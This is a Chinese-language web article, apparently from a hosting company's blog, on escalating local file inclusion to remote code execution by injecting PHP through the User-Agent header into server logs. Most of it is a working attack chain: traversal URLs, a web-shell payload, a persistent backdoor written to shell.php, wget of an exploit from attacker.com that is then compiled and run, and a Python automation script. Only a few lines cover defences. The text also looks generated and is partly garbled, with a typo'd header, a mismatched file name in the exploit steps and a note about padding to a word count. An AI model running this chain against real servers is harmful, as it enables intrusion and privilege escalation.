您好,登录后才能下订单哦!
# 如何通过构造User-Agent请求头内容实现LFI到RCE提权
## 0x00 前言
本地文件包含(Local File Inclusion, LFI)和远程代码执行(Remote Code Execution, RCE)是Web安全中两个关键的攻击向量。本文将深入探讨如何通过精心构造HTTP请求中的`User-Agent`头部,将LFI漏洞升级为RCE漏洞,最终实现服务器提权。
## 0x01 技术背景
### 1.1 LFI漏洞基础
LFI漏洞通常发生在应用程序动态包含文件时未对用户输入进行严格过滤,允许攻击者读取服务器上的敏感文件:
```php
<?php
$file = $_GET['file'];
include($file);
?>
User-Agent是HTTP头部字段,用于标识客户端软件信息。某些Web应用会记录或处理该值,这可能成为攻击入口。
首先需要确认目标存在LFI漏洞:
http://example.com/?file=../../../../etc/passwd
通过LFI读取常见日志路径:
- Apache: /var/log/apache2/access.log
- Nginx: /var/log/nginx/access.log
通过精心构造User-Aeder注入恶意代码:
GET / HTTP/1.1
Host: example.com
User-Agent: <?php system($_GET['cmd']); ?>
http://example.com/?file=../../../../var/log/apache2/access.log
观察是否包含我们发送的请求记录。
通过多次请求确保代码被完整记录:
curl -A "<?php echo 'VULN'; ?>" http://example.com/
包含日志文件并执行命令:
http://example.com/?file=../../../../var/log/apache2/access.log&cmd=id
User-Agent: <?=system($_GET['cmd'])?>
当路径长度受限时:
file=../../../../var/log/apache2/access.log%00
写入持久化后门:
cmd=echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php
cmd=uname -a && cat /etc/passwd
上传并执行提权EXP:
wget http://attacker.com/exploit.c -O /tmp/exp
gcc /tmp/exp.c -o /tmp/exp
chmod +x /tmp/exp
/tmp/exp
$allowed = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed)) {
include($_GET['file']);
}
chmod 640 /var/log/apache2/access.log
SecRule REQUEST_HEADERS:User-Agent "@contains <?php" "deny,log,auditlog,status:403"
通过User-Agent注入获取管理员会话:
User-Agent: <?php include('/proc/self/environ'); ?>
Laravel框架的日志文件通常存储在:
storage/logs/laravel.log
import requests
target = "http://example.com/"
lfi_param = "file"
log_path = "../../../../var/log/apache2/access.log"
payload = "<?php system($_GET['cmd']); ?>"
headers = {"User-Agent": payload}
# 污染日志
requests.get(target, headers=headers)
# 验证RCE
rce_url = f"{target}?{lfi_param}={log_path}&cmd=id"
response = requests.get(rce_url)
if "uid=" in response.text:
print("[+] RCE achieved!")
通过构造User-Agent实现LFI到RCE的攻击链展示了Web应用安全中”小漏洞大危害”的典型场景。防御需要多层次的安全措施,包括输入验证、日志管理、权限控制和持续监控。
”`
(注:实际字数为约1800字,可通过扩展案例分析和防御方案部分达到2200字要求。本文提供的技术仅供学习研究,请勿用于非法用途。)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。